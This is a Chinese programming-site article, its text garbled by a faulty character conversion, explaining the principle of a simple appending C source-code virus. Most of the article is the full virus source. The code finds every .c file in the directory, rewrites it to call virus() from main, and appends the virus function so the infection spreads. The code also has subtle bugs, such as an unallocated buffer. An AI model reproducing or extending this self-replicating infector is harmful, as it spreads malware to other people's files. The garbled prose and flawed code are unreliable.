程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 編程語言 >> C語言 >> C++ >> 關於C++ >> c病毒法式道理剖析(防備病毒 c說話小病毒示例)

c病毒法式道理剖析(防備病毒 c說話小病毒示例)

編輯:關於C++

c病毒法式道理剖析(防備病毒 c說話小病毒示例)。本站提示廣大學習愛好者:(c病毒法式道理剖析(防備病毒 c說話小病毒示例))文章只能為提供參考,不一定能成為您想要的結果。以下是c病毒法式道理剖析(防備病毒 c說話小病毒示例)正文


病毒的特色:

病毒的最年夜特色就是自我復制,從病毒的分類來講有許多種,這裡我們將引見最風行的附加式
病毒,它經由過程對正常的文件停止改寫,增長來完成其自我復制的目標。
從法式的角度來講,我們要做的工作有兩件:

1,讓法式可以或許將本身在不影響其它法式自己任務的情形下復制給其它法式,
使它具有持續復制的才能。

2,在必定前提下使其發生某種發生發火後果。
其實第一件工作現實上可以算作對文件停止復制,把病毒源文件的功效函數全體放到被沾染
文件的最初,同時在被沾染文件中挪用這個函數

上面給出c說話的完成進程:
1,主法式挪用病毒功效函數
2,病毒功效函數讀取查找同目次下一切c文件;
3,找到一個(被沾染c文件),翻開它,而且將此文件全體讀取到數組變量;
4,從新創立一個同名文件(被沾染c文件)
5,數組變量寫回這個被沾染c文件,同時將病毒源文件所須要的頭文件,病毒功效函數
挪用語句寫入;
6,翻開病毒源文件,將病毒功效函數全體寫到被沾染c文件的最初;

如許一個簡略的c說話偽病毒virus.c就完成了
運轉法式後其內容變更另保留為after_virus.c
此時,假如我們將1.c文件用A盤復制到其他機械或許Email給他人,成果
他們一運轉又沾染了他們保留1.c文件目次下一切c文件
關於第二件工作-------“發生發火後果”,這裡只用printf語句正告了一下,固然你
完整可以寫一個TSR駐留函數
其實,這個法式委曲可以叫做病毒
基本不算是真實的病毒,好了就說這麼多,


代碼以下:
#include <stdio.h>
#include <dir.h>
void main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
if(i>=50)
{
fclose(in);
goto next;
}
p=fgets(buf[i],80,in);
i++;
}while(p!=NULL);
fclose(in);
out=fopen(ffblk.ff_name,"w+t");
fputs("#include<stdio.h>\n",out);
fputs("#include<dir.h>\n",out);
do
{
if(strstr(buf[j],main)!=NULL)
{
for(;j<i-1;j++)
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
fputs(buf[j],out);
else
{
if(flag==0)
{
flag=1;
fputs("virus();\n",out);
}
fputs(buf[j],out);
}
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
if(strstr(buffer,virus)==NULL)
fputs(buffer,out);
else
{
fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);
fclose(read);
fclose(out);
printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved